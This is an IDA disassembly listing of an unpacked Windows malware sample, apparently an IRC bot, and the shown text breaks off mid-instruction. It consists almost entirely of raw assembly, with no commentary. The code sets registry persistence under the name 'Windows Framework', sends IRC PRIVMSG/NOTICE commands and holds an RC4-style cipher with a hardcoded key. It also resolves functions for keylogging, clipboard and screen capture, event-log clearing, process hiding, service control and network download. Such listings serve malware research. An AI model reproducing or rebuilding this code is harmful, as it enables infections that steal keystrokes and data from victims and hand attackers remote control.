; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : FAAB09FEF341F991949E6E4B2DCE92A0 ; File Name : u:\work\faab09fef341f991949e6e4b2dce92a0_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00038000 ( 229376.) ; Section size in file : 00038000 ( 229376.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg000 segment para public 'CODE' use32 assume cs:seg000 ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; CODE XREF: seg000:00401074p ; seg000:00417BE1p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_43C058 xor esi, esi mov ebx, offset aWindowsFramewo ; "Windows Framework" loc_401013: ; CODE XREF: start+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call ds:dword_4514A8 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AC70 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call ds:dword_451518 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: start+2Fj push ebx push [ebp+var_4] call ds:dword_451458 loc_401057: ; CODE XREF: start+4Bj push [ebp+var_4] call ds:dword_4514D0 add edi, 8 cmp edi, offset dword_43C070 jl short loc_401013 pop edi pop esi pop ebx leave retn start endp ; --------------------------------------------------------------------------- loc_401070: ; CODE XREF: seg000:00401086j push dword ptr [esp+4] call start pop ecx push ds:dword_43C050 call ds:dword_4F12F4 ; Sleep jmp short loc_401070 ; =============== S U B R O U T I N E ======================================= sub_401088 proc near ; CODE XREF: seg000:00401119p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010BD push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_4010A1: ; CODE XREF: sub_401088+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_43901C[eax*4] xor esi, eax inc edx dec edi jnz short loc_4010A1 pop edi pop ebx loc_4010BD: ; CODE XREF: sub_401088+Ej mov eax, esi pop esi not eax retn sub_401088 endp ; --------------------------------------------------------------------------- push ebx push esi xor ebx, ebx push edi push ebx call sub_41AE40 mov dword ptr [esp], offset dword_43C070 push dword ptr [esp+14h] mov esi, eax call sub_41D0E0 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_401112 loc_4010E8: ; CODE XREF: seg000:00401110j test byte ptr [edi+0Ch], 10h jnz short loc_401116 inc ebx push ebx push esi call sub_41B2D0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_401112 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41CDD0 add esp, 10h jmp short loc_4010E8 ; --------------------------------------------------------------------------- loc_401112: ; CODE XREF: seg000:004010E6j ; seg000:004010FCj xor eax, eax jmp short loc_401131 ; --------------------------------------------------------------------------- loc_401116: ; CODE XREF: seg000:004010ECj dec ebx push ebx push esi call sub_401088 push esi mov ebx, eax call sub_41B8B0 push edi call sub_41ACF0 add esp, 10h mov eax, ebx loc_401131: ; CODE XREF: seg000:00401114j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 240h push ebx push esi lea eax, [ebp-34h] push edi xor ebx, ebx push eax xor edi, edi mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr [ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h mov [ebp-4], bl call sub_41AC70 mov esi, 101h mov [ebp-38h], eax push esi lea eax, [ebp-13Ch] push ebx push eax call sub_41D100 push esi lea eax, [ebp-240h] push ebx push eax call sub_41D100 add esp, 1Ch xor eax, eax mov ecx, 100h loc_40123F: ; CODE XREF: seg000:00401249j mov [ebp+eax-13Ch], al inc eax cmp eax, ecx jb short loc_40123F cmp [ebp+14h], ebx jz short loc_40126E xor eax, eax loc_401252: ; CODE XREF: seg000:0040126Aj cmp edi, [ebp+14h] jnz short loc_401259 xor edi, edi loc_401259: ; CODE XREF: seg000:00401255j mov edx, [ebp+10h] mov dl, [edi+edx] inc edi mov [ebp+eax-240h], dl inc eax cmp eax, ecx jb short loc_401252 jmp short loc_401288 ; --------------------------------------------------------------------------- loc_40126E: ; CODE XREF: seg000:0040124Ej xor esi, esi loc_401270: ; CODE XREF: seg000:00401286j cmp edi, [ebp-38h] jnz short loc_401277 xor edi, edi loc_401277: ; CODE XREF: seg000:00401273j mov al, [ebp+edi-34h] inc edi mov [ebp+esi-240h], al inc esi cmp esi, ecx jb short loc_401270 loc_401288: ; CODE XREF: seg000:0040126Cj mov [ebp+14h], ebx xor edi, edi mov eax, 0FFh loc_401292: ; CODE XREF: seg000:004012CCj mov dl, [ebp+edi-13Ch] mov ebx, [ebp+14h] mov cl, [ebp+edi-240h] lea esi, [ebp+edi-13Ch] add ebx, edx add ecx, ebx and ecx, eax inc edi mov [ebp+14h], ecx cmp edi, 100h mov bl, [ebp+ecx-13Ch] lea ecx, [ebp+ecx-13Ch] mov [esi], bl mov [ecx], dl jb short loc_401292 xor edi, edi cmp [ebp+0Ch], edi mov [ebp+14h], edi mov [ebp+10h], edi jbe short loc_40132A loc_4012DB: ; CODE XREF: seg000:00401328j inc edi and edi, eax mov dl, [ebp+edi-13Ch] lea ecx, [ebp+edi-13Ch] mov bl, dl add ebx, [ebp+14h] and ebx, eax mov esi, ebx mov bl, [ebp+esi-13Ch] mov [ebp+14h], esi mov [ecx], bl lea esi, [ebp+esi-13Ch] mov ebx, [ebp+10h] mov [esi], dl mov cl, [ecx] mov esi, [ebp+8] add ecx, edx and ecx, eax add esi, ebx mov cl, [ebp+ecx-13Ch] xor [esi], cl inc ebx cmp ebx, [ebp+0Ch] mov [ebp+10h], ebx jb short loc_4012DB loc_40132A: ; CODE XREF: seg000:004012D9j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40132F proc near ; DATA XREF: seg000:00402724o var_2B4 = dword ptr -2B4h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push ds:dword_4523C4 call ds:dword_451588 call sub_408F08 call ds:dword_45144C call ds:dword_45144C mov ebx, ds:dword_4F12F4 push 64h call ebx ; dword_4F12F4 xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41D100 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41D100 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_4513B0 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 3D0000h stosd lea eax, [ebp+var_158] push esi push eax push edi call near ptr 3D0000h mov ebx, 50F0458Dh lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 3D0000h inc ebx test eax, eax jz short loc_4013F4 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, ds:dword_4F12FC call esi ; dword_4F12FC push [ebp+var_C] call esi ; dword_4F12FC loc_4013F4: ; CODE XREF: sub_40132F+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_4513A8 mov eax, [esp+2B4h+var_2B4] mov large fs:0, eax add esp, 8 push edi call ds:dword_4F12F8 ; ExitProcess pop edi pop esi pop ebx sub_40132F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401417 proc near ; CODE XREF: sub_402EAE+3Dp ; seg000:004031E8p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41D160 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_451540 leave retn sub_401417 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40145D proc near ; CODE XREF: sub_40216A+40p ; sub_40216A+74p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_401478 mov edi, offset aPrivmsg ; "PRIVMSG" loc_401478: ; CODE XREF: sub_40145D+14j push edi call sub_41AC70 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AC70 push [ebp+arg_8] sub esi, eax loc_401492: ; DATA XREF: seg002:off_445F7Co lea eax, [ebp+var_400] push offset aS ; "%s" push esi push eax call sub_41D360 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_41D260 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_451540 cmp [ebp+arg_10], 0 pop edi pop esi loc_4014E9: ; DATA XREF: seg002:00446A28o ; seg002:00446A38o jz short locret_4014F6 push 7D0h call ds:dword_4F12F4 ; Sleep locret_4014F6: ; CODE XREF: sub_40145D:loc_4014E9j leave retn sub_40145D endp ; =============== S U B R O U T I N E ======================================= sub_4014F8 proc near ; CODE XREF: seg000:0040275Bp push ebx push ebp mov ebp, ds:dword_4F1318 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; dword_4F1318 mov esi, ds:dword_4F1314 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_401618 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; dword_4F1314 push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov ds:dword_45159C, eax call esi ; dword_4F1314 push offset aProcess32first ; "Process32First" push edi mov ds:dword_451514, eax call esi ; dword_4F1314 push offset aProcess32next ; "Process32Next" push edi mov ds:dword_4514F8, eax call esi ; dword_4F1314 push offset aModule32first ; "Module32First" push edi mov ds:dword_45140C, eax call esi ; dword_4F1314 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov ds:dword_4513B8, eax call esi ; dword_4F1314 push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov ds:dword_4513E8, eax call esi ; dword_4F1314 push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov ds:dword_45145C, eax call esi ; dword_4F1314 push offset aSearchpatha ; "SearchPathA" push edi mov ds:dword_451550, eax call esi ; dword_4F1314 push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov ds:dword_4515AC, eax call esi ; dword_4F1314 push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov ds:dword_451418, eax call esi ; dword_4F1314 cmp ds:dword_45159C, ebx mov ds:dword_451400, eax jz short loc_4015F6 cmp ds:dword_451514, ebx jz short loc_4015F6 cmp ds:dword_4514F8, ebx jz short loc_4015F6 cmp ds:dword_45140C, ebx jz short loc_4015F6 cmp ds:dword_4513E8, ebx jz short loc_4015F6 cmp ds:dword_45145C, ebx jz short loc_4015F6 cmp ds:dword_451550, ebx jz short loc_4015F6 cmp ds:dword_4515AC, ebx jz short loc_4015F6 cmp ds:dword_451418, ebx jz short loc_4015F6 cmp eax, ebx jnz short loc_401600 loc_4015F6: ; CODE XREF: sub_4014F8+B8j ; sub_4014F8+C0j ... mov ds:dword_4515B0, 1 loc_401600: ; CODE XREF: sub_4014F8+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; dword_4F1314 cmp eax, ebx mov ds:dword_451528, eax jz short loc_40162D push 1 push ebx call eax jmp short loc_40162D ; --------------------------------------------------------------------------- loc_401618: ; CODE XREF: sub_4014F8+1Dj call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515B4, eax mov ds:dword_4515B0, 1 loc_40162D: ; CODE XREF: sub_4014F8+117j ; sub_4014F8+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_4F130C ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_401742 push offset aSendmessagea ; "SendMessageA" push edi call esi ; dword_4F1314 push offset aFindwindowa ; "FindWindowA" push edi mov ds:dword_45154C, eax call esi ; dword_4F1314 push offset aIswindow ; "IsWindow" push edi mov ds:dword_451500, eax call esi ; dword_4F1314 push offset aDestroywindow ; "DestroyWindow" push edi mov ds:dword_451494, eax call esi ; dword_4F1314 push offset aOpenclipboard ; "OpenClipboard" push edi mov ds:dword_4515A0, eax call esi ; dword_4F1314 push offset aGetclipboardda ; "GetClipboardData" push edi mov ds:dword_4514C4, eax call esi ; dword_4F1314 push offset aCloseclipboard ; "CloseClipboard" push edi mov ds:dword_4514E4, eax call esi ; dword_4F1314 push offset aExitwindowsex ; "ExitWindowsEx" push edi mov ds:dword_451544, eax call esi ; dword_4F1314 cmp ds:dword_45154C, ebx mov ds:dword_451438, eax jz short loc_4016E6 cmp ds:dword_451500, ebx jz short loc_4016E6 cmp ds:dword_451494, ebx jz short loc_4016E6 cmp ds:dword_4515A0, ebx jz short loc_4016E6 cmp ds:dword_4514C4, ebx jz short loc_4016E6 cmp ds:dword_4514E4, ebx jz short loc_4016E6 cmp ds:dword_451544, ebx jz short loc_4016E6 cmp eax, ebx jnz short loc_4016F0 loc_4016E6: ; CODE XREF: sub_4014F8+1B8j ; sub_4014F8+1C0j ... mov ds:dword_4515B8, 1 loc_4016F0: ; CODE XREF: sub_4014F8+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; dword_4F1314 push offset aGetkeystate ; "GetKeyState" push edi mov ds:dword_4514C0, eax call esi ; dword_4F1314 push offset aGetwindowtexta ; "GetWindowTextA" push edi mov ds:dword_4513CC, eax call esi ; dword_4F1314 push offset aGetforegroundw ; "GetForegroundWindow" push edi mov ds:dword_451490, eax call esi ; dword_4F1314 cmp ds:dword_4514C0, ebx mov ds:dword_451478, eax jz short loc_40174D cmp ds:dword_4513CC, ebx jz short loc_40174D cmp ds:dword_451490, ebx jz short loc_40174D cmp eax, ebx jnz short loc_401757 jmp short loc_40174D ; --------------------------------------------------------------------------- loc_401742: ; CODE XREF: sub_4014F8+144j call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515BC, eax loc_40174D: ; CODE XREF: sub_4014F8+232j ; sub_4014F8+23Aj ... mov ds:dword_4515B8, 1 loc_401757: ; CODE XREF: sub_4014F8+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; dword_4F1318 mov edi, eax cmp edi, ebx jz loc_401910 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; dword_4F1314 push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov ds:dword_451560, eax call esi ; dword_4F1314 push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov ds:dword_4514A8, eax call esi ; dword_4F1314 push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov ds:dword_451518, eax call esi ; dword_4F1314 push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov ds:dword_4513F8, eax call esi ; dword_4F1314 push offset aRegclosekey ; "RegCloseKey" push edi mov ds:dword_451458, eax call esi ; dword_4F1314 push offset aOpeneventloga ; "OpenEventLogA" push edi mov ds:dword_4514D0, eax call esi ; dword_4F1314 push offset aCleareventloga ; "ClearEventLogA" push edi mov ds:dword_451474, eax call esi ; dword_4F1314 cmp ds:dword_451560, ebx mov ds:dword_451484, eax jz short loc_401800 cmp ds:dword_4514A8, ebx jz short loc_401800 cmp ds:dword_451518, ebx jz short loc_401800 cmp ds:dword_4513F8, ebx jz short loc_401800 cmp ds:dword_451458, ebx jz short loc_401800 cmp ds:dword_4514D0, ebx jnz short loc_40180A loc_401800: ; CODE XREF: sub_4014F8+2DEj ; sub_4014F8+2E6j ... mov ds:dword_4515C0, 1 loc_40180A: ; CODE XREF: sub_4014F8+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; dword_4F1314 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ds:dword_4514D8, eax call esi ; dword_4F1314 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ds:dword_4514B0, eax call esi ; dword_4F1314 cmp ds:dword_4514D8, ebx mov ds:dword_45155C, eax jz short loc_401845 cmp ds:dword_4514B0, ebx jz short loc_401845 cmp eax, ebx jnz short loc_40184F loc_401845: ; CODE XREF: sub_4014F8+33Fj ; sub_4014F8+347j mov ds:dword_4515C0, 1 loc_40184F: ; CODE XREF: sub_4014F8+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; dword_4F1314 push offset aOpenservicea ; "OpenServiceA" push edi mov ds:dword_4514E8, eax call esi ; dword_4F1314 push offset aStartservicea ; "StartServiceA" push edi mov ds:dword_4513D4, eax call esi ; dword_4F1314 push offset aControlservice ; "ControlService" push edi mov ds:dword_4513DC, eax call esi ; dword_4F1314 push offset aDeleteservice ; "DeleteService" push edi mov ds:dword_451440, eax call esi ; dword_4F1314 push offset aCloseserviceha ; "CloseServiceHandle" push edi mov ds:dword_451444, eax call esi ; dword_4F1314 push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov ds:dword_4513F0, eax call esi ; dword_4F1314 push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov ds:dword_4514B4, eax call esi ; dword_4F1314 cmp ds:dword_4514E8, ebx mov ds:dword_4513E0, eax jz short loc_4018F3 cmp ds:dword_4513D4, ebx jz short loc_4018F3 cmp ds:dword_4513DC, ebx jz short loc_4018F3 cmp ds:dword_451440, ebx jz short loc_4018F3 cmp ds:dword_451444, ebx jz short loc_4018F3 cmp ds:dword_4513F0, ebx jz short loc_4018F3 cmp ds:dword_4514B4, ebx jz short loc_4018F3 cmp eax, ebx jnz short loc_4018FD loc_4018F3: ; CODE XREF: sub_4014F8+3C5j ; sub_4014F8+3CDj ... mov ds:dword_4515C0, 1 loc_4018FD: ; CODE XREF: sub_4014F8+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; dword_4F1314 cmp eax, ebx mov ds:dword_4513D8, eax jnz short loc_401925 jmp short loc_40191B ; --------------------------------------------------------------------------- loc_401910: ; CODE XREF: sub_4014F8+26Aj call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515C4, eax loc_40191B: ; CODE XREF: sub_4014F8+416j mov ds:dword_4515C0, 1 loc_401925: ; CODE XREF: sub_4014F8+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; dword_4F1318 mov edi, eax cmp edi, ebx jz loc_4019F1 push offset aCreatedca ; "CreateDCA" push edi call esi ; dword_4F1314 push offset aCreatedibsecti ; "CreateDIBSection" push edi mov ds:dword_4514E0, eax call esi ; dword_4F1314 push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov ds:dword_451534, eax call esi ; dword_4F1314 push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov ds:dword_45153C, eax call esi ; dword_4F1314 push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov ds:dword_4514FC, eax call esi ; dword_4F1314 push offset aSelectobject ; "SelectObject" push edi mov ds:dword_45141C, eax call esi ; dword_4F1314 push offset aBitblt ; "BitBlt" push edi mov ds:dword_4513C8, eax call esi ; dword_4F1314 push offset aDeletedc ; "DeleteDC" push edi mov ds:dword_451538, eax call esi ; dword_4F1314 push offset aDeleteobject ; "DeleteObject" push edi mov ds:dword_4513B4, eax call esi ; dword_4F1314 cmp ds:dword_4514E0, ebx mov ds:dword_451450, eax jz short loc_4019FC cmp ds:dword_451534, ebx jz short loc_4019FC cmp ds:dword_45153C, ebx jz short loc_4019FC cmp ds:dword_4514FC, ebx jz short loc_4019FC cmp ds:dword_45141C, ebx jz short loc_4019FC cmp ds:dword_4513C8, ebx jz short loc_4019FC cmp ds:dword_451538, ebx jz short loc_4019FC cmp ds:dword_4513B4, ebx jz short loc_4019FC cmp eax, ebx jnz short loc_401A06 jmp short loc_4019FC ; --------------------------------------------------------------------------- loc_4019F1: ; CODE XREF: sub_4014F8+438j call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515CC, eax loc_4019FC: ; CODE XREF: sub_4014F8+4B9j ; sub_4014F8+4C1j ... mov ds:dword_4515C8, 1 loc_401A06: ; CODE XREF: sub_4014F8+4F5j mov ebp, ds:dword_4F130C push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; dword_4F130C mov edi, eax cmp edi, ebx jz loc_401CC2 push offset aWsastartup ; "WSAStartup" push edi call esi ; dword_4F1314 push offset aWsasocketa ; "WSASocketA" push edi mov ds:dword_451464, eax call esi ; dword_4F1314 push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov ds:dword_451594, eax call esi ; dword_4F1314 push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov ds:dword_451408, eax call esi ; dword_4F1314 push offset aWsaioctl ; "WSAIoctl" push edi mov ds:dword_4513E4, eax call esi ; dword_4F1314 push offset aWsagetlasterro ; "WSAGetLastError" push edi mov ds:dword_4514A0, eax call esi ; dword_4F1314 push offset aWsacleanup ; "WSACleanup" push edi mov ds:dword_451488, eax call esi ; dword_4F1314 push offset aSocket ; "socket" push edi mov ds:dword_45144C, eax call esi ; dword_4F1314 push offset aIoctlsocket ; "ioctlsocket" push edi mov ds:dword_451570, eax call esi ; dword_4F1314 push offset aConnect ; "connect" push edi mov ds:dword_45158C, eax call esi ; dword_4F1314 push offset aInet_ntoa ; "inet_ntoa" push edi mov ds:dword_45149C, eax call esi ; dword_4F1314 push offset aInet_addr ; "inet_addr" push edi mov ds:dword_45157C, eax call esi ; dword_4F1314 push offset aHtons ; "htons" push edi mov ds:dword_451530, eax call esi ; dword_4F1314 push offset aHtonl ; "htonl" push edi mov ds:dword_4514F4, eax call esi ; dword_4F1314 push offset aNtohs ; "ntohs" push edi mov ds:dword_4514F0, eax call esi ; dword_4F1314 push offset aNtohl ; "ntohl" push edi mov ds:dword_451428, eax call esi ; dword_4F1314 push offset aSend ; "send" push edi mov ds:dword_451420, eax call esi ; dword_4F1314 push offset aSendto ; "sendto" push edi mov ds:dword_451540, eax call esi ; dword_4F1314 push offset aRecv ; "recv" push edi mov ds:dword_451554, eax call esi ; dword_4F1314 push offset aRecvfrom ; "recvfrom" push edi mov ds:dword_45150C, eax call esi ; dword_4F1314 mov ds:dword_4514CC, eax push offset aBind ; "bind" push edi call esi ; dword_4F1314 push offset aSelect ; "select" push edi mov ds:dword_451520, eax call esi ; dword_4F1314 push offset aListen ; "listen" push edi mov ds:dword_4514DC, eax call esi ; dword_4F1314 push offset aAccept ; "accept" push edi mov ds:dword_45151C, eax call esi ; dword_4F1314 push offset aSetsockopt ; "setsockopt" push edi mov ds:dword_451584, eax call esi ; dword_4F1314 push offset aGetsockname ; "getsockname" push edi mov ds:dword_4514D4, eax call esi ; dword_4F1314 push offset aGethostname ; "gethostname" push edi mov ds:dword_451498, eax call esi ; dword_4F1314 push offset aGethostbyname ; "gethostbyname" push edi mov ds:dword_451508, eax call esi ; dword_4F1314 push offset aGethostbyaddr ; "gethostbyaddr" push edi mov ds:dword_451574, eax call esi ; dword_4F1314 push offset aGetpeername ; "getpeername" push edi mov ds:dword_4514AC, eax call esi ; dword_4F1314 push offset aClosesocket ; "closesocket" push edi mov ds:dword_451448, eax call esi ; dword_4F1314 cmp ds:dword_451464, ebx mov ds:dword_451588, eax jz loc_401CCD cmp ds:dword_451594, ebx jz loc_401CCD cmp ds:dword_451408, ebx jz loc_401CCD cmp ds:dword_4514A0, ebx jz loc_401CCD cmp ds:dword_451488, ebx jz loc_401CCD cmp ds:dword_45144C, ebx jz loc_401CCD cmp ds:dword_451570, ebx jz loc_401CCD cmp ds:dword_45158C, ebx jz loc_401CCD cmp ds:dword_45149C, ebx jz loc_401CCD cmp ds:dword_45157C, ebx jz loc_401CCD cmp ds:dword_451530, ebx jz loc_401CCD cmp ds:dword_4514F4, ebx jz loc_401CCD cmp ds:dword_4514F0, ebx jz loc_401CCD cmp ds:dword_451428, ebx jz short loc_401CCD cmp ds:dword_451540, ebx jz short loc_401CCD cmp ds:dword_451554, ebx jz short loc_401CCD cmp ds:dword_45150C, ebx jz short loc_401CCD cmp ds:dword_4514CC, ebx jz short loc_401CCD cmp ds:dword_451520, ebx jz short loc_401CCD cmp ds:dword_4514DC, ebx jz short loc_401CCD cmp ds:dword_45151C, ebx jz short loc_401CCD cmp ds:dword_451584, ebx jz short loc_401CCD cmp ds:dword_4514D4, ebx jz short loc_401CCD cmp ds:dword_451498, ebx jz short loc_401CCD cmp ds:dword_451508, ebx jz short loc_401CCD cmp ds:dword_451574, ebx jz short loc_401CCD cmp ds:dword_4514AC, ebx jz short loc_401CCD cmp eax, ebx jnz short loc_401CD7 jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC2: ; CODE XREF: sub_4014F8+51Fj call ds:dword_4F1310 ; RtlGetLastWin32Error mov ds:dword_4515D4, eax loc_401CCD: ; CODE XREF: sub_4014F8+6BEj ; sub_4014F8+6CAj ... mov ds:dword_4515D0, 1 loc_401CD7: ; CODE XREF: sub_4014F8+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; dword_4F130C mov edi, eax cmp edi, ebx jz loc_401DDC push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; dword_4F1314 push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov ds:dword_451434, eax call esi ; dword_4F1314 push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov ds:dword_4513BC, eax call esi ; dword_4F1314 push offset aHttpsendreques ; "HttpSendRequestA" push edi mov ds:dword_4514BC, eax call esi ; dword_4F1314 push offset aInternetconnec ; "InternetConnectA" push edi mov ds:dword_451468, eax call esi ; dword_4F1314 push offset aInternetopena ; "InternetOpenA" push edi mov ds:dword_4514C8, eax call esi ; dword_4F1314 push offset aInternetopenur ; "InternetOpenUrlA" push edi mov ds:dword_45148C, eax call esi ; dword_4F1314 push offset aInternetcracku ; "InternetCrackUrlA" push edi mov ds:dword_4513FC, eax call esi ; dword_4F1314 push offset aInternetreadfi ; "InternetReadFile" push edi mov ds:dword_4513F4, eax call esi ; dword_4F1314 push offset aInternetcloseh ; "InternetCloseHandle" push edi mov ds:dword_451404, eax call esi ; dword_4F1314 cmp ds:dword_451434, ebx mov ecx, ds:dword_45148C mov ds:dword_451524, eax jz short loc_401DB8 cmp ds:dword_4513BC, ebx jz short loc_401DB8 cmp ds:dword_4514BC, ebx jz short loc_401DB8 cmp ds:dword_451468, ebx jz short loc_401DB8 cmp ds:dword_4514C8, ebx jz short loc_401DB8 cmp ecx, ebx jz short 